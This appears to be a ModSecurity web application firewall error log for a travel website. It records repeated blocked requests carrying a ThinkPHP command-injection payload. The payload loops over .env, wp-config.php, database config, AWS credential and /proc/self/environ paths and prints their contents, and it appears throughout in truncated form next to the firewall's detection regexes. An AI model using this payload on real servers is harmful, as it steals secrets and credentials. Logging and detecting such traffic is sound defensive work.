[tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgpYbYoYGvYnmnM82CTAAAAAs"]
[Fri Jul 17 08:55:25.306961 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; echo \\x22--- FILE $f ---\\x22; if echo \\x22$f\\x22 | grep -q environ; then tr '\\x5c0' '\\x5cn' < \\x22$f\\x22; else cat \\x22$f\\x22; fi; fi; done found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/..."] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgpYbYoYGvYnmnM82CTAAAAAs"]
[Fri Jul 17 08:55:25.307402 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ... [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgpYbYoYGvYnmnM82CTAAAAAs"]
[Fri Jul 17 08:55:25.308920 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php  [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgpYbYoYGvYnmnM82CTAAAAAs"]
[Fri Jul 17 08:55:25.309852 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:server[REQUEST_METHOD]: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/www/html/.env.save/var/..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgpYbYoYGvYnmnM82CTAAAAAs"]
[Fri Jul 17 08:55:25.350258 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 40)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgpYbYoYGvYnmnM82CTAAAAAs"]
[Fri Jul 17 08:55:26.360350 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:43192] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:26.609966 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIl9vhFBGA6D8l96FgAAAAw"]
[Fri Jul 17 08:55:27.491025 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:55:27.694697 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgohHlOGcokz2QIwTTMwAAAAM"]
[Fri Jul 17 08:55:28.211500 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoivekYYQ8uns4MwlgQAAAA0"]
[Fri Jul 17 08:55:28.378172 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:get[]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credentials ..."] [severity "CRITICAL"] [ver "OWASP_CRS [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgqC0HS8lGbZyK8qt3OwAAACM"]
[Fri Jul 17 08:55:28.378467 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:get[]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credentials ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgqC0HS8lGbZyK8qt3OwAAACM"]
[Fri Jul 17 08:55:28.379076 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:get[]: echo ahmadscan_thinkphp_ff746253 for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credentials ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgqC0HS8lGbZyK8qt3OwAAACM"]
[Fri Jul 17 08:55:28.379702 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:get[]: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials /var/www/html/.env /var/www/html/.env.local /var/www/html/.env.production /var/www/html/.env.backup /var/www/html/.env.save /var/www/html..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgqC0HS8lGbZyK8qt3OwAAACM"]
[Fri Jul 17 08:55:28.381160 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; echo \\x22--- FILE $f ---\\x22; if echo \\x22$f\\x22 | grep -q environ; then tr '\\x5c0' '\\x5cn' < \\x22$f\\x22; else cat \\x22$f\\x22; fi; fi; done found within ARGS:get[]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../a..."] [severity "CRITI [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgqC0HS8lGbZyK8qt3OwAAACM"]
[Fri Jul 17 08:55:28.381511 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:get[]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credential..."] [severity "CR [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgqC0HS8lGbZyK8qt3OwAAACM"]
[Fri Jul 17 08:55:28.382981 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within ARGS:get[]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credentials..."] [severity [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgqC0HS8lGbZyK8qt3OwAAACM"]
[Fri Jul 17 08:55:28.383833 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:get[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:get[]: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/www/html/.env.save/var/www/html/.env.old..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgqC0HS8lGbZyK8qt3OwAAACM"]
[Fri Jul 17 08:55:28.430609 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 40)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgqC0HS8lGbZyK8qt3OwAAACM"]
[Fri Jul 17 08:55:28.715322 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgo11_86A5R6msWNfUegAAABI"]
[Fri Jul 17 08:55:28.726604 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../..."] [severity "CRITICAL" [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqFCBpfuYyhJ140vSzAAAAB4"]
[Fri Jul 17 08:55:28.727161 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqFCBpfuYyhJ140vSzAAAAB4"]
[Fri Jul 17 08:55:28.727819 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:server[REQUEST_METHOD]: echo ahmadscan_thinkphp_ff746253 for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqFCBpfuYyhJ140vSzAAAAB4"]
[Fri Jul 17 08:55:28.728378 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:server[REQUEST_METHOD]: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials /var/www/html/.env /var/www/html/.env.local /var/www/html/.env.production /var/www/html/.env.backup /var/www/html/.env.s..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqFCBpfuYyhJ140vSzAAAAB4"]
[Fri Jul 17 08:55:28.730016 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; echo \\x22--- FILE $f ---\\x22; if echo \\x22$f\\x22 | grep -q environ; then tr '\\x5c0' '\\x5cn' < \\x22$f\\x22; else cat \\x22$f\\x22; fi; fi; done found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/..."] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqFCBpfuYyhJ140vSzAAAAB4"]
[Fri Jul 17 08:55:28.730455 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:server[REQUEST_METHOD]: echo AHMADSCAN_THINKPHP_ff746253;for f in .env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ... [hostname "2s-travels.com"] [uri "/"] [unique_id "almgqFCBpfuYyhJ140vSzAAAAB4"]
